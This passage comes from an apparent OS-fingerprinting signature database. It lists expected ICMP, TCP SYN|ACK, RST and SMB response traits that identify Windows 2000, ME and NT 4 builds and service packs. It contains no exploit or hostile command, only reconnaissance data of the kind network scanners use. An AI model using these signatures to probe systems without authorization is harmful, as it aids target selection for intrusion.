= 1 tcp_syn_ack_window_size = 17520 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP NOP NOP SACK" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = 0 tcp_syn_ack_tsecr = 0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <128 smb_lanman = Windows 2000 LAN Manager smb_nativeos = Windows 5.0 } fingerprint { OS_ID = "Microsoft Windows 2000 Server" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 20 July 2002 #Modified: 30 June 2003 #Module A icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = 0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = < 128 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <128 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <128 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <128 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <128 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <128 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 17520 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP NOP NOP SACK" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = 0 tcp_syn_ack_tsecr = 0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <128 smb_lanman = Windows 2000 LAN Manager smb_nativeos = Windows 5.0 } fingerprint { OS_ID = "Microsoft Windows 2000 Workstation SP4" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 20 July 2002 #Modified: 30 June 2003 #Module A icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = 0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = < 128 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <128 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <128 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <128 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <128 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <128 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 17520 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP NOP NOP SACK" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = 0 tcp_syn_ack_tsecr = 0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <128 smb_lanman = Windows 2000 LAN Manager smb_nativeos = Windows 5.0 } fingerprint { OS_ID = "Microsoft Windows 2000 Workstation SP3" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 20 July 2002 #Modified: 30 June 2003 #Module A icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = 0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = < 128 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <128 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <128 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <128 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <128 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <128 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 17520 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP NOP NOP SACK" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = 0 tcp_syn_ack_tsecr = 0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <128 smb_lanman = Windows 2000 LAN Manager smb_nativeos = Windows 5.0 } fingerprint { OS_ID = "Microsoft Windows 2000 Workstation SP2" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 20 July 2002 #Modified: 30 June 2003 #Module A icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = 0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = < 128 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <128 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <128 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <128 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <128 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <128 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 17520 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP NOP NOP SACK" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = 0 tcp_syn_ack_tsecr = 0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <128 smb_lanman = Windows 2000 LAN Manager smb_nativeos = Windows 5.0 } fingerprint { OS_ID = "Microsoft Windows 2000 Workstation SP1" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 20 July 2002 #Modified: 30 June 2003 #Module A icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = 0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = < 128 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <128 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <128 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <128 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <128 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <128 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 17520 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP NOP NOP SACK" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = 0 tcp_syn_ack_tsecr = 0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <128 smb_lanman = Windows 2000 LAN Manager smb_nativeos = Windows 5.0 } fingerprint { OS_ID = "Microsoft Windows 2000 Workstation" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 20 July 2002 #Modified: 30 June 2003 #Module A icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = 0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = < 128 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <128 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <128 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <128 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <128 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <128 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 17520 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP NOP NOP SACK" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = 0 tcp_syn_ack_tsecr = 0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <128 smb_lanman = Windows 2000 LAN Manager smb_nativeos = Windows 5.0 } fingerprint { OS_ID = "Microsoft Windows Millennium Edition (ME)" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 29 July 2002 #Modified: 05 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <128 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <128 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <128 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <128 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <128 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <128 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 17520 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP NOP NOP SACK" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = 0 tcp_syn_ack_tsecr = 0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <128 } fingerprint { OS_ID = "Microsoft Windows NT 4 Server Service Pack 6a" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 30 July 2002 #Modified: 11 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <128 #Module B icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <128 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <128 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <128 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <128 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <128 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 8760 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <128 smb_lanman = NT LAN Manager 4.0 smb_nativeos = Windows NT 4.0 } fingerprint { OS_ID = "Microsoft Windows NT 4 Server Service Pack 5" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 30 July 2002 #Modified: 11 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <128 #Module B icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <128 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <128 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <128 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <128 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <128 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 8760 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <128 smb_lanman = NT LAN Manager 4.0 smb_nativeos = Windows NT 4.0 } fingerprint { OS_ID = "Microsoft Windows NT 4 Server Service Pack 4" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 30 July 2002 #Modified: 11 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <128 #Module B icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <128 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <128 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <128 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <128 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <128 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 8760 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <128 smb_lanman = NT LAN Manager 4.0 smb_nativeos = Windows NT 4.0 } fingerprint { OS_ID = "Microsoft Windows NT 4 Server Service Pack 3" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 30 July 2002 #Modified: 11 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <128 #Module B icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <128 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = y icmp_addrmask_reply_ttl = <128 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <128 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <128 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <128 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 8760 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <128 smb_lanman = NT LAN Manager 4.0 smb_nativeos = Windows NT 4.0 } fingerprint { OS_ID = "Microsoft Windows NT 4 Server Service Pack 2" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 30 July 2002 #Modified: 11 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <128 #Module B icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <128 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = y icmp_addrmask_reply_ttl = <128 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <128 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <128 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <128 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 8760 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <128 smb_lanman = NT LAN Manager 4.0 smb_nativeos = Windows NT 4.0 } fingerprint { OS_ID = "Microsoft Windows NT 4 Server Service Pack 1" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 30 July 2002 #Modified: 11 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <128 #Module B icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <128 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = y icmp_addrmask_reply_ttl = <128 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <128 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <128 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <128 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 8760 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <128 smb_lanman = NT LAN Manager 4.0 smb_nativeos = Windows NT 4.0 } fingerprint { OS_ID = "Microsoft Windows NT 4 Server" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 30 July 2002 #Modified: 11 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <128 #Module B icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <128 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = y icmp_addrmask_reply_ttl = <128 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <128 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <128 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <128 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 8760 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <128 smb_lanman = NT LAN Manager 4.0 smb_nativeos = Windows NT 4.0 } fingerprint { OS_ID = "Microsoft Windows NT 4 Workstation Service Pack 6a" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 30 July 2002 #Modified: 05 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <128 #Module B icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <128 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <128 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <128 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <128 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK 